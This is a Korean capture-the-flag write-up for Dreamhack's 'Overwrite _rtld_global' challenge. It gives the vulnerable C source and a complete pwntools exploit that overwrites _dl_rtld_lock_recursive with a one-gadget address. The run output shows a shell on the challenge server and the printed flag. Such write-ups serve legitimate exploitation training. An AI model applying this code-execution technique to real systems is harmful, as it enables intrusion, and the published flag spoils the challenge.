[dreamhack] overwrite rtld writeup

1. 문제

thumbnail
Overwrite _rtld_global

Exploit Tech: _rtld_global에서 실습하는 문제입니다.

https://dreamhack.io/wargame/challenges/360

2. 풀이

#include <stdio.h>
#include <stdlib.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  long addr;
  long data;
  int idx;

  init();

  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("addr: ");
        scanf("%ld", &addr);
        printf("data: ");
        scanf("%ld", &data);
        *(long long *)addr = data;
        break;
      default:
        return 0;
    }
  }
  return 0;
}

stdout의 주소를 공개해주고, 원하는 주소에 원하는 값을 쓰도록 한다.


이전의 rtld 문제랑 그냥 똑같은 문제이다.

그래서 그냥 도커 환경 세팅하고 똑같이 해결하려했는데, 이유를 알 수 없는 문제로 안됐다. 알고보니 도커에서 사용하는 ld.so와 문제에서 준 ld.so가 뭔가 미묘하게 달라서 offset이 안맞는 것 같았다.

결국 pwntools를 활용해서 문제가 제공한 ld.so를 기준으로 오프셋을 구해서 했더니 됐다… 진짜 화딱지남.

from pwn import *

#p = process("./ow_rtld")
p = remote("host3.dreamhack.games", 8792)
#p = remote("localhost", 7182)
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")

p.recvuntil(b"stdout: ")
stdout_addr = int(p.recv(14).decode(), 16)

# local
#libcbase = stdout_addr - libc.symbols["_IO_2_1_stdout_"]
#ldbase = libcbase + 0x400000
#_rtld_global = ldbase + 0x228060
#_dl_rtld_lock_recursive = _rtld_global + 0xf08

# remote
libcbase = stdout_addr - libc.symbols["_IO_2_1_stdout_"]
ldbase = libcbase + 0x3f1000
_rtld_global = ldbase + ld.symbols["_rtld_global"]
_dl_rtld_lock_recursive = _rtld_global + 0xf08

og = libcbase + 0x4f322

p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"addr: ", str(_dl_rtld_lock_recursive))

#pause()
p.sendlineafter(b"data: ", str(og))

p.sendlineafter(b"> ", b"0")

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/overwrite_rtld_global$ python3 e_ow_rtld.py 
[+] Opening connection to host3.dreamhack.games on port 8792: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/overwrite_rtld_global/libc-2.27.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/overwrite_rtld_global/ld-2.27.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
/home/ubuntu/dreamhack/level2/overwrite_rtld_global/e_ow_rtld.py:27: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b"addr: ", str(_dl_rtld_lock_recursive))
/home/ubuntu/dreamhack/level2/overwrite_rtld_global/e_ow_rtld.py:30: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b"data: ", str(og))
[*] Switching to interactive mode
$ 
$ id
uid=1000(ow_rtld) gid=1000(ow_rtld) groups=1000(ow_rtld)
$ cat flag
DH{a5bd416ee5f23da9f378c1b5d177b99366141f93beb3eabfa5b74abcf83f4293}

해결~